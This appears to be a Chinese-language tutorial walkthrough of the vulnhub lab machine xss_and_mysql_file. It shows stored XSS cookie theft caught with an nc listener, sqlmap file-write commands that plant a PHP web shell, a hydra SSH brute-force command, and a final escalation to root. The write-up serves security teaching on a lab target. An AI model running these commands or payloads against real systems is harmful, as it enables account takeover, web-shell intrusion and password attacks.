第七节内容讲述了XSS漏洞和原理,并在DVWA上进行了盗取cookie的实验。本节以实战的方式,结合vulnhub靶机xss_and_mysql_file让大家体验如何用XSS截获cookie进行进一步入侵。这个靶机会涉及到一点SQL注入的知识,但易于理解。后续章节会给大家着重讲解SQL注入。
如果靶机部署有疑问,请留言!
kali IP为192.168.17.4
发现靶机IP 192.168.17.7
使用第二章nmap命令扫描靶机,
nmap -p `nmap -p- --min-rate=10000 -T4 192.168.17.7 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//` -sC -sV 192.168.17.7
扫描结果如下,
点击上图中的Admin,进入登陆界面。admin/admin尝试无果。
点击上上图中Welcome,跳转到一个能够发布消息的界面。 随便测了以下,发现了XSS漏洞。
在kali上开启nc监听80端口,在message框中输入组装好的XSS漏洞利用payload,
输入后提交,在kali等待三分钟左右。nc监听收到了一个cookie,这个cookie就是admin用户的cookie。这里应该是靶机后台有脚本模拟admin用户点击网页。
获取cookie后,就可以利用cookie冒用admin身份进行登陆。在firefox中添加cookie比较麻烦,我们选择安装firefox的插件cookie-editor。
打开Add-ons,
点击add to firefox,
安装完成后,会在firefox右上角有一个小小的cookie标识
打开cookie-editor,将获取的admin cookie添加到里面,
重新点击主页中的admin网页,发现一个直接登陆进去了。
点击edit字段,发现了疑似sql注入的地方,
测试一下发现确实存在sql注入,
为了简化实验过程,降低sql注入在本章节中的占比,我们直接使用sqlmap进行利用。选取一个一句话木马如下,
sqlmap -u "http://192.168.17.7/admin/edit.php?id=1" --cookie=PHPSESSID=5me99l1g8mqr9gbnbpof1anf91
尝试将一句话写入admin目录,发现不可写,
尝试写入classes,还是不可写!
sqlmap -u "http://192.168.17.7/classes/edit.php?id=1" --cookie=PHPSESSID=5me99l1g8mqr9gbnbpof1anf91 --file-write="./shell.php" --file-dest="/var/www/classes/shell.php"
直接访问网站获取的目录均不可写,我们直接用dirbuster扫描网站,寻找其他路径。
发现一个css路径,
sqlmap -u "http://192.168.17.7/admin/edit.php?id=1" --cookie=PHPSESSID=5me99l1g8mqr9gbnbpof1anf91 --file-write="./shell.php" --file-dest="/var/www/css/shell.php"
测试一句话,没有问题!
成功获取shell
查看该系统用户,发现一个user用户。
切换到该用户目录,发现该用户可能是个root用户。
没有什么好办法,使用hydra进行ssh爆破
hydra -t 10 -l user -P /usr/share/wordlists/dirb/common.txt 192.168.17.7 ssh
爆破成功
user用户登陆后,发现确实是管理员权限用户,
4.总结
浏览器访问靶机是一个类似论坛发消息的系统。管理员登陆界面能够访问,但弱口令无法登陆。发布消息功能可用,测试该功能发现了存储型XSS漏洞。将获取cookie的 XSS payload写入消息框并保存发布,等待admin用户通过网页查看该消息后获取admin用户的cookie。使用admin权限登陆后。发现一个sql注入,使用sqlmap写入一句话木马,可获取低权限shell。
提权,通过发现有一个用户具备管理员权限,hydra爆破获取用户名密码。登陆后直接sudo -i切换管理员权限。